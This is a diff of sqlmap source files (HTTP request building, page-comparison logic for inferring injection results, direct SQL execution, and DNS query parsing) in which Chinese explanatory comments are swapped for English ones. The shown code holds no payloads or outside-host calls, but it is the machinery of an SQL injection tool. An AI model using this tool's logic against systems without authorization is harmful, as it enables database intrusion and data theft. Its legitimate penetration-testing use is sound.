if request.data is not None: # 如果是POST请求(包含数据) if request.data is not None: # POST
data = request.data data = request.data
# 如果没有设置Content-Type头,则设置为默认的表单格式
# application/x-www-form-urlencoded 是最常见的POST数据格式
if not request.has_header(HTTP_HEADER.CONTENT_TYPE): if not request.has_header(HTTP_HEADER.CONTENT_TYPE):
request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded")
# 如果没有设置Content-Length头且不使用分块传输,则设置内容长度
# Content-Length告诉服务器请求体的具体长度
if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked: if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked:
request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data))
# 设置用于选择的主机名
sel_host = host sel_host = host
# 如果使用了代理,则从请求选择器中解析出实际的主机名
# 代理请求时,请求行中包含完整的URL,需要从中提取出真实的主机名
if request.has_proxy(): if request.has_proxy():
sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc
# 如果没有设置Host头,则添加Host头
# Host头是HTTP/1.1必需的头部,用于指定服务器的域名和端口号
if not request.has_header(HTTP_HEADER.HOST): if not request.has_header(HTTP_HEADER.HOST):
request.add_unredirected_header(HTTP_HEADER.HOST, sel_host) request.add_unredirected_header(HTTP_HEADER.HOST, sel_host)
# 遍历父类中定义的额外头部信息
for name, value in self.parent.addheaders: for name, value in self.parent.addheaders:
name = name.capitalize() # 将头部名称首字母大写,符合HTTP协议规范 name = name.capitalize()
# 如果请求中没有该头部,则添加到请求中
# 这确保了自定义头部不会覆盖已有的头部
if not request.has_header(name): if not request.has_header(name):
request.add_unredirected_header(name, value) request.add_unredirected_header(name, value)
return request return request
# 将_http_request方法赋值给http_request,使其成为标准的处理方法
# 这是一种Python的惯用法,允许在保留原始方法的同时提供一个公开的接口
http_request = _http_request http_request = _http_request

@ -5,12 +5,10 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入未来版本的除法运算
from __future__ import division from __future__ import division
import re import re
# 导入所需的工具函数
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import getFilteredPageContent from lib.core.common import getFilteredPageContent
from lib.core.common import listToStrValue from lib.core.common import listToStrValue
@ -37,28 +35,15 @@ from lib.core.threads import getCurrentThreadData
from thirdparty import six from thirdparty import six
def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): def comparison(page, headers, code=None, getRatioValue=False, pageLength=None):
"""
页面比较的主入口函数
:param page: 要比较的页面内容
:param headers: HTTP响应头
:param code: HTTP状态码
:param getRatioValue: 是否返回相似度值
:param pageLength: 页面长度
:return: 比较结果
"""
_ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue)
return _ return _
def _adjust(condition, getRatioValue): def _adjust(condition, getRatioValue):
"""
调整比较结果
:param condition: 原始比较结果
:param getRatioValue: 是否返回相似度值
:return: 调整后的结果
"""
if not any((conf.string, conf.notString, conf.regexp, conf.code)): if not any((conf.string, conf.notString, conf.regexp, conf.code)):
# 在原始页面比较方案中使用负逻辑方法 # Negative logic approach is used in raw page comparison scheme as that what is "different" than original
# 与原始PAYLOAD.WHERE.NEGATIVE响应"不同"的内容被认为是True # PAYLOAD.WHERE.NEGATIVE response is considered as True; in switch based approach negative logic is not
# applied as that what is by user considered as True is that what is returned by the comparison mechanism
# itself
retVal = not condition if kb.negativeLogic and condition is not None and not getRatioValue else condition retVal = not condition if kb.negativeLogic and condition is not None and not getRatioValue else condition
else: else:
retVal = condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO) retVal = condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO)
@ -66,37 +51,24 @@ def _adjust(condition, getRatioValue):
return retVal return retVal
def _comparison(page, headers, code, getRatioValue, pageLength): def _comparison(page, headers, code, getRatioValue, pageLength):
"""
核心比较函数
:param page: 要比较的页面内容
:param headers: HTTP响应头
:param code: HTTP状态码
:param getRatioValue: 是否返回相似度值
:param pageLength: 页面长度
:return: 比较结果
"""
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
# 测试模式下保存比较数据
if kb.testMode: if kb.testMode:
threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "" threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else ""
threadData.lastComparisonPage = page threadData.lastComparisonPage = page
threadData.lastComparisonCode = code threadData.lastComparisonCode = code
# 页面内容和长度都为空时返回None
if page is None and pageLength is None: if page is None and pageLength is None:
return None return None
# 处理字符串匹配情况
if any((conf.string, conf.notString, conf.regexp)): if any((conf.string, conf.notString, conf.regexp)):
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
# 检查页面是否包含指定的匹配字符串 # String to match in page when the query is True
if conf.string: if conf.string:
return conf.string in rawResponse return conf.string in rawResponse
# 检查页面是否不包含指定的字符串 # String to match in page when the query is False
if conf.notString: if conf.notString:
if conf.notString in rawResponse: if conf.notString in rawResponse:
return False return False
@ -106,25 +78,24 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
else: else:
return True return True
# 使用正则表达式匹配页面内容 # Regular expression to match in page when the query is True and/or valid
if conf.regexp: if conf.regexp:
return re.search(conf.regexp, rawResponse, re.I | re.M) is not None return re.search(conf.regexp, rawResponse, re.I | re.M) is not None
# 检查HTTP状态码是否匹配 # HTTP code to match when the query is valid
if conf.code: if conf.code:
return conf.code == code return conf.code == code
# 初始化序列匹配器
seqMatcher = threadData.seqMatcher seqMatcher = threadData.seqMatcher
seqMatcher.set_seq1(kb.pageTemplate) seqMatcher.set_seq1(kb.pageTemplate)
if page: if page:
# 处理数据库错误页面 # In case of an DBMS error page return None
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
if not (wasLastResponseHTTPError() and getLastRequestHTTPError() in (conf.ignoreCode or [])): if not (wasLastResponseHTTPError() and getLastRequestHTTPError() in (conf.ignoreCode or [])):
return None return None
# 移除动态内容后再比较 # Dynamic content lines to be excluded before comparison
if not kb.nullConnection: if not kb.nullConnection:
page = removeDynamicContent(page) page = removeDynamicContent(page)
seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate)) seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate))
@ -132,7 +103,6 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
if not pageLength: if not pageLength:
pageLength = len(page) pageLength = len(page)
# 处理空连接情况
if kb.nullConnection and pageLength: if kb.nullConnection and pageLength:
if not seqMatcher.a: if not seqMatcher.a:
errMsg = "problem occurred while retrieving original page content " errMsg = "problem occurred while retrieving original page content "
@ -140,19 +110,18 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
errMsg += "and if the problem persists turn off any optimization switches" errMsg += "and if the problem persists turn off any optimization switches"
raise SqlmapNoneDataException(errMsg) raise SqlmapNoneDataException(errMsg)
# 计算页面长度比率
ratio = 1. * pageLength / len(seqMatcher.a) ratio = 1. * pageLength / len(seqMatcher.a)
if ratio > 1.: if ratio > 1.:
ratio = 1. / ratio ratio = 1. / ratio
else: else:
# 处理编码问题,确保可以正确比较 # Preventing "Unicode equal comparison failed to convert both arguments to Unicode"
# (e.g. if one page is PDF and the other is HTML)
if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type): if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type):
page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type): elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type):
seqMatcher.a = getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") seqMatcher.a = getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
# 处理各种比较情况
if any(_ is None for _ in (page, seqMatcher.a)): if any(_ is None for _ in (page, seqMatcher.a)):
return None return None
elif seqMatcher.a and page and seqMatcher.a == page: elif seqMatcher.a and page and seqMatcher.a == page:
@ -167,7 +136,6 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
else: else:
seq1, seq2 = None, None seq1, seq2 = None, None
# 根据配置选择比较内容
if conf.titles: if conf.titles:
seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
seq2 = extractRegexResult(HTML_TITLE_REGEX, page) seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
@ -178,14 +146,13 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
if seq1 is None or seq2 is None: if seq1 is None or seq2 is None:
return None return None
# 移除反射值标记
seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
# 处理高度动态内容
if kb.heavilyDynamic: if kb.heavilyDynamic:
seq1 = seq1.split("\n") seq1 = seq1.split("\n")
seq2 = seq2.split("\n") seq2 = seq2.split("\n")
key = None key = None
else: else:
key = (hash(seq1), hash(seq2)) key = (hash(seq1), hash(seq2))
@ -193,7 +160,6 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
seqMatcher.set_seq1(seq1) seqMatcher.set_seq1(seq1)
seqMatcher.set_seq2(seq2) seqMatcher.set_seq2(seq2)
# 使用缓存提高性能
if key in kb.cache.comparison: if key in kb.cache.comparison:
ratio = kb.cache.comparison[key] ratio = kb.cache.comparison[key]
else: else:
@ -202,7 +168,8 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
if key: if key:
kb.cache.comparison[key] = ratio kb.cache.comparison[key] = ratio
# 设置匹配比率 # If the url is stable and we did not set yet the match ratio and the
# current injected value changes the url page content
if kb.matchRatio is None: if kb.matchRatio is None:
if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND: if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND:
kb.matchRatio = ratio kb.matchRatio = ratio
@ -211,14 +178,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
if kb.testMode: if kb.testMode:
threadData.lastComparisonRatio = ratio threadData.lastComparisonRatio = ratio
# 根据不同情况返回结果 # If it has been requested to return the ratio and not a comparison
# response
if getRatioValue: if getRatioValue:
return ratio return ratio
elif ratio > UPPER_RATIO_BOUND: elif ratio > UPPER_RATIO_BOUND:
return True return True
elif ratio < LOWER_RATIO_BOUND: elif ratio < LOWER_RATIO_BOUND:
return False return False
elif kb.matchRatio is None: elif kb.matchRatio is None:
return None return None
else: else:
return (ratio - kb.matchRatio) > DIFF_TOLERANCE return (ratio - kb.matchRatio) > DIFF_TOLERANCE

@ -5,7 +5,6 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的标准库
import binascii import binascii
import inspect import inspect
import logging import logging
@ -19,7 +18,6 @@ import sys
import time import time
import traceback import traceback
# 尝试导入websocket库,如果不存在则定义一个简单的异常类
try: try:
import websocket import websocket
from websocket import WebSocketException from websocket import WebSocketException
@ -27,7 +25,6 @@ except ImportError:
class WebSocketException(Exception): class WebSocketException(Exception):
pass pass
# 导入sqlmap自定义的库和工具函数
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import asciifyUrl from lib.core.common import asciifyUrl
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
@ -149,18 +146,13 @@ from thirdparty.socks.socks import ProxyError
class Connect(object): class Connect(object):
""" """
这个类定义了用于执行HTTP请求的方法 This class defines methods used to perform HTTP requests
""" """
@staticmethod @staticmethod
def _getPageProxy(**kwargs): def _getPageProxy(**kwargs):
"""
代理方法,用于处理页面请求
检查递归深度并调用getPage方法
"""
try: try:
# 检查调用栈深度是否超过限制 if (len(inspect.stack()) > sys.getrecursionlimit() // 2): # Note: https://github.com/sqlmapproject/sqlmap/issues/4525
if (len(inspect.stack()) > sys.getrecursionlimit() // 2):
warnMsg = "unable to connect to the target URL" warnMsg = "unable to connect to the target URL"
raise SqlmapConnectionException(warnMsg) raise SqlmapConnectionException(warnMsg)
except (TypeError, UnicodeError): except (TypeError, UnicodeError):
@ -173,15 +165,9 @@ class Connect(object):
@staticmethod @staticmethod
def _retryProxy(**kwargs): def _retryProxy(**kwargs):
"""
重试代理方法
处理请求失败时的重试逻辑
"""
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.retriesCount += 1 threadData.retriesCount += 1
# 如果配置了代理列表且重试次数达到上限,则更换代理
if conf.proxyList and threadData.retriesCount >= conf.retries and not kb.locks.handlers.locked(): if conf.proxyList and threadData.retriesCount >= conf.retries and not kb.locks.handlers.locked():
warnMsg = "changing proxy" warnMsg = "changing proxy"
logger.warning(warnMsg) logger.warning(warnMsg)
@ -191,8 +177,9 @@ class Connect(object):
setHTTPHandlers() setHTTPHandlers()
# 处理基于时间的测试模式
if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME:
# timed based payloads can cause web server unresponsiveness
# if the injectable piece of code is some kind of JOIN-like query
warnMsg = "most likely web server instance hasn't recovered yet " warnMsg = "most likely web server instance hasn't recovered yet "
warnMsg += "from previous timed based payload. If the problem " warnMsg += "from previous timed based payload. If the problem "
warnMsg += "persists please wait for a few minutes and rerun " warnMsg += "persists please wait for a few minutes and rerun "
@ -201,7 +188,6 @@ class Connect(object):
warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')" warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 处理原始页面为空的情况
elif kb.originalPage is None: elif kb.originalPage is None:
if conf.tor: if conf.tor:
warnMsg = "please make sure that you have " warnMsg = "please make sure that you have "
@ -228,28 +214,20 @@ class Connect(object):
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 处理多线程情况
elif conf.threads > 1: elif conf.threads > 1:
warnMsg = "if the problem persists please try to lower " warnMsg = "if the problem persists please try to lower "
warnMsg += "the number of used threads (option '--threads')" warnMsg += "the number of used threads (option '--threads')"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 重试请求
kwargs['retrying'] = True kwargs['retrying'] = True
return Connect._getPageProxy(**kwargs) return Connect._getPageProxy(**kwargs)
@staticmethod @staticmethod
def _connReadProxy(conn): def _connReadProxy(conn):
"""
读取连接响应的代理方法
处理压缩和大响应的情况
"""
retVal = b"" retVal = b""
# 如果不是DNS模式且连接存在
if not kb.dnsMode and conn: if not kb.dnsMode and conn:
headers = conn.info() headers = conn.info()
# 处理压缩响应
if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()):
retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE)
if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: if len(retVal) == MAX_CONNECTION_TOTAL_SIZE:
@ -258,7 +236,6 @@ class Connect(object):
kb.pageCompress = False kb.pageCompress = False
raise SqlmapCompressionException raise SqlmapCompressionException
else: else:
# 分块读取大响应
while True: while True:
if not conn: if not conn:
break break
@ -277,13 +254,11 @@ class Connect(object):
retVal += part retVal += part
break break
# 检查总响应大小是否超过限制
if len(retVal) > MAX_CONNECTION_TOTAL_SIZE: if len(retVal) > MAX_CONNECTION_TOTAL_SIZE:
warnMsg = "too large response detected. Automatically trimming it" warnMsg = "too large response detected. Automatically trimming it"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
break break
# 处理特殊的响应放大因子
if conf.yuge: if conf.yuge:
retVal = YUGE_FACTOR * retVal retVal = YUGE_FACTOR * retVal
@ -292,14 +267,13 @@ class Connect(object):
@staticmethod @staticmethod
def getPage(**kwargs): def getPage(**kwargs):
""" """
这个方法连接到目标URL或代理并返回目标URL页面内容 This method connects to the target URL or proxy and returns
the target URL page content
""" """
# 如果是离线模式直接返回
if conf.offline: if conf.offline:
return None, None, None return None, None, None
# 获取请求参数
url = kwargs.get("url", None) or conf.url url = kwargs.get("url", None) or conf.url
get = kwargs.get("get", None) get = kwargs.get("get", None)
post = kwargs.get("post", None) post = kwargs.get("post", None)
@ -323,19 +297,16 @@ class Connect(object):
finalCode = kwargs.get("finalCode", False) finalCode = kwargs.get("finalCode", False)
chunked = kwargs.get("chunked", False) or conf.chunked chunked = kwargs.get("chunked", False) or conf.chunked
# 处理请求延迟
if isinstance(conf.delay, (int, float)) and conf.delay > 0: if isinstance(conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay) time.sleep(conf.delay)
start = time.time() start = time.time()
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
with kb.locks.request: with kb.locks.request:
kb.requestCounter += 1 kb.requestCounter += 1
threadData.lastRequestUID = kb.requestCounter threadData.lastRequestUID = kb.requestCounter
# 处理代理频率
if conf.proxyFreq: if conf.proxyFreq:
if kb.requestCounter % conf.proxyFreq == 0: if kb.requestCounter % conf.proxyFreq == 0:
conf.proxy = None conf.proxy = None
@ -345,7 +316,6 @@ class Connect(object):
setHTTPHandlers() setHTTPHandlers()
# 处理测试模式
if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
if conf.murphyRate: if conf.murphyRate:
time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
@ -357,7 +327,6 @@ class Connect(object):
return page, headers, code return page, headers, code
# 处理cookie
if conf.liveCookies: if conf.liveCookies:
with kb.locks.liveCookies: with kb.locks.liveCookies:
if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0: if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
@ -382,7 +351,6 @@ class Connect(object):
cookie = openFile(conf.liveCookies).read().strip() cookie = openFile(conf.liveCookies).read().strip()
cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie) cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie)
# 处理multipart请求
if multipart: if multipart:
post = multipart post = multipart
else: else:
@ -393,20 +361,20 @@ class Connect(object):
post = _urllib.parse.unquote(post) post = _urllib.parse.unquote(post)
post = chunkSplitPostData(post) post = chunkSplitPostData(post)
# 处理WebSocket请求
webSocket = url.lower().startswith("ws") webSocket = url.lower().startswith("ws")
if not _urllib.parse.urlsplit(url).netloc: if not _urllib.parse.urlsplit(url).netloc:
url = _urllib.parse.urljoin(conf.url, url) url = _urllib.parse.urljoin(conf.url, url)
# 检查是否是相同的目标主机 # flag to know if we are dealing with the same target host
target = checkSameHost(url, conf.url) target = checkSameHost(url, conf.url)
if not retrying: if not retrying:
# 重置连接重试次数 # Reset the number of connection retries
threadData.retriesCount = 0 threadData.retriesCount = 0
# 修复URL中的空格 # fix for known issue when urllib2 just skips the other part of provided
# url splitted with space char while urlencoding it in the later phase
url = url.replace(" ", "%20") url = url.replace(" ", "%20")
if "://" not in url: if "://" not in url:
@ -428,7 +396,8 @@ class Connect(object):
raise404 = raise404 and not kb.ignoreNotFound raise404 = raise404 and not kb.ignoreNotFound
# 支持非拉丁字符的URL # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
# support those by default
url = asciifyUrl(url) url = asciifyUrl(url)
try: try:
@ -471,7 +440,7 @@ class Connect(object):
requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
# 准备HTTP头 # Prepare HTTP headers
headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {}) headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})
if HTTP_HEADER.COOKIE in headers: if HTTP_HEADER.COOKIE in headers:
@ -655,11 +624,11 @@ class Connect(object):
if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)
# 返回响应对象 # Return response object
if response: if response:
return conn, None, None return conn, None, None
# 获取HTTP响应 # Get HTTP response
if hasattr(conn, "redurl"): if hasattr(conn, "redurl"):
page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
skipLogTraffic = kb.choices.redirect == REDIRECTION.NO skipLogTraffic = kb.choices.redirect == REDIRECTION.NO

@ -5,7 +5,6 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的模块
import re import re
import time import time
@ -31,87 +30,58 @@ from lib.utils.safe2bin import safecharencode
from lib.utils.timeout import timeout from lib.utils.timeout import timeout
def direct(query, content=True): def direct(query, content=True):
"""
直接执行SQL查询的主函数
参数:
query: 要执行的SQL查询语句
content: 是否返回查询内容,默认为True
"""
# 标记是否为SELECT查询
select = True select = True
# 处理查询语句,添加必要的payload
query = agent.payloadDirect(query) query = agent.payloadDirect(query)
query = agent.adjustLateValues(query) query = agent.adjustLateValues(query)
# 获取当前线程数据
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
# 针对Oracle数据库的特殊处理:如果是不带FROM的SELECT语句,添加"FROM DUAL"
if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper(): if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper():
query = "%s FROM DUAL" % query query = "%s FROM DUAL" % query
# 通过遍历SQL语句字典判断是否为SELECT查询
for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements: for sqlStatement in sqlStatements:
if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement": if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement":
select = False select = False
break break
# 如果是SELECT查询,进行相应处理
if select: if select:
# 如果查询不以SELECT开头,添加SELECT
if re.search(r"(?i)\ASELECT ", query) is None: if re.search(r"(?i)\ASELECT ", query) is None:
query = "SELECT %s" % query query = "SELECT %s" % query
# 处理二进制字段
if conf.binaryFields: if conf.binaryFields:
for field in conf.binaryFields: for field in conf.binaryFields:
field = field.strip() field = field.strip()
if re.search(r"\b%s\b" % re.escape(field), query): if re.search(r"\b%s\b" % re.escape(field), query):
query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query) query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query)
# 记录查询语句到日志
logger.log(CUSTOM_LOGGING.PAYLOAD, query) logger.log(CUSTOM_LOGGING.PAYLOAD, query)
# 尝试从缓存中获取查询结果
output = hashDBRetrieve(query, True, True) output = hashDBRetrieve(query, True, True)
start = time.time() start = time.time()
# 执行查询
if not select and re.search(r"(?i)\bEXEC ", query) is None: if not select and re.search(r"(?i)\bEXEC ", query) is None:
# 非SELECT且非EXEC语句的执行
timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query):
# SELECT查询的执行
output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
if state == TIMEOUT_STATE.NORMAL: if state == TIMEOUT_STATE.NORMAL:
# 正常执行完成,将结果写入缓存
hashDBWrite(query, output, True) hashDBWrite(query, output, True)
elif state == TIMEOUT_STATE.TIMEOUT: elif state == TIMEOUT_STATE.TIMEOUT:
# 超时处理:关闭连接并重新连接
conf.dbmsConnector.close() conf.dbmsConnector.close()
conf.dbmsConnector.connect() conf.dbmsConnector.connect()
elif output: elif output:
# 如果有缓存结果,显示提示信息
infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20] infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
logger.info(infoMsg) logger.info(infoMsg)
# 记录查询执行时间
threadData.lastQueryDuration = calculateDeltaSeconds(start) threadData.lastQueryDuration = calculateDeltaSeconds(start)
# 处理返回结果
if not output: if not output:
return output return output
elif content: elif content:
# 如果需要返回内容
if output and isListLike(output): if output and isListLike(output):
if len(output[0]) == 1: if len(output[0]) == 1:
# 如果结果只有一列,简化输出格式
output = [_[0] for _ in output] output = [_[0] for _ in output]
# 转换为Unicode格式
retVal = getUnicode(output, noneToNull=True) retVal = getUnicode(output, noneToNull=True)
# 根据配置决定是否进行安全字符编码
return safecharencode(retVal) if kb.safeCharEncode else retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
else: else:
# 如果不需要返回内容,提取预期的布尔值
return extractExpectedValue(output, EXPECTED.BOOL) return extractExpectedValue(output, EXPECTED.BOOL)

@ -7,17 +7,16 @@ See the file 'LICENSE' for copying permission
from __future__ import print_function from __future__ import print_function
import binascii # 用于二进制和ASCII转换 import binascii
import os import os
import re import re
import socket # 用于网络通信 import socket
import struct # 用于处理字节串 import struct
import threading # 用于多线程 import threading
import time import time
class DNSQuery(object): class DNSQuery(object):
""" """
DNS查询解析类
>>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com."
True True
>>> DNSQuery(b'\\x00')._query == b"" >>> DNSQuery(b'\\x00')._query == b""
@ -25,15 +24,12 @@ class DNSQuery(object):
""" """
def __init__(self, raw): def __init__(self, raw):
self._raw = raw # 原始DNS查询数据 self._raw = raw
self._query = b"" # 解析后的域名查询字符串 self._query = b""
try: try:
# 从DNS报文中提取操作码(Opcode) type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits
type_ = (ord(raw[2:3]) >> 3) & 15
if type_ == 0: # 标准查询
i = 12 # DNS报文头部长度为12字节
if type_ == 0: # Standard query if type_ == 0: # Standard query
i = 12 i = 12
j = ord(raw[i:i + 1]) j = ord(raw[i:i + 1])

@ -5,7 +5,6 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的标准库和第三方库
import re import re
import socket import socket
@ -21,7 +20,6 @@ from lib.core.settings import PYVERSION
from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import urllib as _urllib from thirdparty.six.moves import urllib as _urllib
# 尝试导入ssl模块,如果导入失败则ssl为None
ssl = None ssl = None
try: try:
import ssl as _ssl import ssl as _ssl
@ -29,38 +27,31 @@ try:
except ImportError: except ImportError:
pass pass
